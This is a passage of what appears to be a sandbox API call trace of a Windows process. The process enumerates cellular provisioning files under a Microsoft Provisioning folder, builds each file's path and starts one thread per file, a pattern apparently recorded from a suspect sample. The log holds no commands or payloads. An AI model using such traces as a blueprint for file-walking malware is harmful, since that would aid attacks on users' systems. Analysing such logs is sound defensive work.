(Turkey)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.716] wcscmp (_String1="451__Connections_Cellular_Turkcell (Turkey)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.716] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x144) returned 0x2f900b0 [0180.716] wcscpy (in: _Dest=0x2f900b0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.716] wcscat (in: _Dest=0x2f900b0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.716] wcscat (in: _Dest=0x2f900b0, _Source="451__Connections_Cellular_Turkcell (Turkey)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\451__Connections_Cellular_Turkcell (Turkey)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\451__Connections_Cellular_Turkcell (Turkey)_i0$(__MVID)@WAP.provxml" [0180.716] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f900b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x49c [0180.717] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9104a28e, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9104a28e, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9104a28e, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="452__Connections_Cellular_Turkcell (Turkey)_i1$(__MVID)@WAP.provxml", cAlternateFileName="452__C~1.PRO")) returned 1 [0180.717] wcscmp (_String1="452__Connections_Cellular_Turkcell (Turkey)_i1$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.717] wcscmp (_String1="452__Connections_Cellular_Turkcell (Turkey)_i1$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.717] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x144) returned 0x2f8fe00 [0180.717] wcscpy (in: _Dest=0x2f8fe00, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.717] wcscat (in: _Dest=0x2f8fe00, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.717] wcscat (in: _Dest=0x2f8fe00, _Source="452__Connections_Cellular_Turkcell (Turkey)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\452__Connections_Cellular_Turkcell (Turkey)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\452__Connections_Cellular_Turkcell (Turkey)_i1$(__MVID)@WAP.provxml" [0180.717] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f8fe00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x998 [0180.718] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x910704f6, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x910704f6, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x910704f6, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="453__Connections_Cellular_Turkcell (Turkey)_i2$(__MVID)@WAP.provxml", cAlternateFileName="453__C~1.PRO")) returned 1 [0180.718] wcscmp (_String1="453__Connections_Cellular_Turkcell (Turkey)_i2$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.718] wcscmp (_String1="453__Connections_Cellular_Turkcell (Turkey)_i2$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.718] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x144) returned 0x2f90208 [0180.718] wcscpy (in: _Dest=0x2f90208, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.718] wcscat (in: _Dest=0x2f90208, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.718] wcscat (in: _Dest=0x2f90208, _Source="453__Connections_Cellular_Turkcell (Turkey)_i2$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\453__Connections_Cellular_Turkcell (Turkey)_i2$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\453__Connections_Cellular_Turkcell (Turkey)_i2$(__MVID)@WAP.provxml" [0180.718] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f90208, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x658 [0180.719] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x910704f6, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x910704f6, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x910704f6, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x34e, dwReserved0=0x0, dwReserved1=0x0, cFileName="454__Connections_Cellular_Vodafone TR (Turkey)_i0$(__MVID)@WAP.provxml", cAlternateFileName="454__C~1.PRO")) returned 1 [0180.719] wcscmp (_String1="454__Connections_Cellular_Vodafone TR (Turkey)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.719] wcscmp (_String1="454__Connections_Cellular_Vodafone TR (Turkey)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.719] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x14a) returned 0x2fe25b8 [0180.719] wcscpy (in: _Dest=0x2fe25b8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.719] wcscat (in: _Dest=0x2fe25b8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.719] wcscat (in: _Dest=0x2fe25b8, _Source="454__Connections_Cellular_Vodafone TR (Turkey)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\454__Connections_Cellular_Vodafone TR (Turkey)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\454__Connections_Cellular_Vodafone TR (Turkey)_i0$(__MVID)@WAP.provxml" [0180.719] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe25b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x99c [0180.720] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x910704f6, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x910704f6, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x910704f6, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="455__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="455__C~1.PRO")) returned 1 [0180.720] wcscmp (_String1="455__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2=".") returned 1 [0180.720] wcscmp (_String1="455__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2="..") returned 1 [0180.720] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x128) returned 0x3054bd8 [0180.720] wcscpy (in: _Dest=0x3054bd8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.720] wcscat (in: _Dest=0x3054bd8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.720] wcscat (in: _Dest=0x3054bd8, _Source="455__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\455__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\455__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" [0180.720] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3054bd8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4d4 [0180.721] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x910704f6, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x910704f6, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x910704f6, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d9, dwReserved0=0x0, dwReserved1=0x0, cFileName="456__Connections_Cellular_VF KKTC Telsim (Cyprus)_i0$(__MVID)@WAP.provxml", cAlternateFileName="456__C~1.PRO")) returned 1 [0180.900] wcscmp (_String1="456__Connections_Cellular_VF KKTC Telsim (Cyprus)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.900] wcscmp (_String1="456__Connections_Cellular_VF KKTC Telsim (Cyprus)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.900] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x150) returned 0x2fe1da8 [0180.900] wcscpy (in: _Dest=0x2fe1da8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.900] wcscat (in: _Dest=0x2fe1da8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.900] wcscat (in: _Dest=0x2fe1da8, _Source="456__Connections_Cellular_VF KKTC Telsim (Cyprus)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\456__Connections_Cellular_VF KKTC Telsim (Cyprus)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\456__Connections_Cellular_VF KKTC Telsim (Cyprus)_i0$(__MVID)@WAP.provxml" [0180.900] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe1da8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x494 [0180.901] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x910704f6, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x910704f6, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x910704f6, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="457__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="457__C~1.PRO")) returned 1 [0180.901] wcscmp (_String1="457__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2=".") returned 1 [0180.901] wcscmp (_String1="457__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2="..") returned 1 [0180.901] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x128) returned 0x3054e48 [0180.901] wcscpy (in: _Dest=0x3054e48, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.901] wcscat (in: _Dest=0x3054e48, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.901] wcscat (in: _Dest=0x3054e48, _Source="457__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\457__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\457__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" [0180.901] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3054e48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5d4 [0180.902] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91096761, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x91096761, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x91096761, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="458__Connections_Cellular_Kyivstar (Ukraine)_i0$(__MVID)@WAP.provxml", cAlternateFileName="458__C~1.PRO")) returned 1 [0180.902] wcscmp (_String1="458__Connections_Cellular_Kyivstar (Ukraine)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.902] wcscmp (_String1="458__Connections_Cellular_Kyivstar (Ukraine)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.902] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x146) returned 0x30589e8 [0180.902] wcscpy (in: _Dest=0x30589e8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.902] wcscat (in: _Dest=0x30589e8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.902] wcscat (in: _Dest=0x30589e8, _Source="458__Connections_Cellular_Kyivstar (Ukraine)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\458__Connections_Cellular_Kyivstar (Ukraine)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\458__Connections_Cellular_Kyivstar (Ukraine)_i0$(__MVID)@WAP.provxml" [0180.902] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x30589e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x860 [0180.903] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91096761, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x91096761, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x91096761, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="459__Connections_Cellular_Kyivstar (Ukraine)_i1$(__MVID)@WAP.provxml", cAlternateFileName="459__C~1.PRO")) returned 1 [0180.903] wcscmp (_String1="459__Connections_Cellular_Kyivstar (Ukraine)_i1$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.903] wcscmp (_String1="459__Connections_Cellular_Kyivstar (Ukraine)_i1$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.903] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x146) returned 0x3059350 [0180.903] wcscpy (in: _Dest=0x3059350, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.903] wcscat (in: _Dest=0x3059350, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.903] wcscat (in: _Dest=0x3059350, _Source="459__Connections_Cellular_Kyivstar (Ukraine)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\459__Connections_Cellular_Kyivstar (Ukraine)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\459__Connections_Cellular_Kyivstar (Ukraine)_i1$(__MVID)@WAP.provxml" [0180.903] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3059350, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x560 [0180.903] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9026e179, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9026e179, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9026e179, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="45__Connections_Cellular_ORANGE (Belgium)_i0$(__MVID)@WAP.provxml", cAlternateFileName="45__CO~1.PRO")) returned 1 [0180.903] wcscmp (_String1="45__Connections_Cellular_ORANGE (Belgium)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.904] wcscmp (_String1="45__Connections_Cellular_ORANGE (Belgium)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.904] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x140) returned 0x4f02c10 [0180.904] wcscpy (in: _Dest=0x4f02c10, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.904] wcscat (in: _Dest=0x4f02c10, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.904] wcscat (in: _Dest=0x4f02c10, _Source="45__Connections_Cellular_ORANGE (Belgium)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\45__Connections_Cellular_ORANGE (Belgium)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\45__Connections_Cellular_ORANGE (Belgium)_i0$(__MVID)@WAP.provxml" [0180.904] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f02c10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x978 [0180.904] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91096761, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x91096761, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x91096761, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="460__Connections_Cellular_Kyivstar (Ukraine)_i2$(__MVID)@WAP.provxml", cAlternateFileName="460__C~1.PRO")) returned 1 [0180.904] wcscmp (_String1="460__Connections_Cellular_Kyivstar (Ukraine)_i2$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.904] wcscmp (_String1="460__Connections_Cellular_Kyivstar (Ukraine)_i2$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.904] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x146) returned 0x3058890 [0180.904] wcscpy (in: _Dest=0x3058890, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.904] wcscat (in: _Dest=0x3058890, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.904] wcscat (in: _Dest=0x3058890, _Source="460__Connections_Cellular_Kyivstar (Ukraine)_i2$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\460__Connections_Cellular_Kyivstar (Ukraine)_i2$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\460__Connections_Cellular_Kyivstar (Ukraine)_i2$(__MVID)@WAP.provxml" [0180.905] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3058890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x64c [0180.905] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91096761, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x91096761, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x91096761, 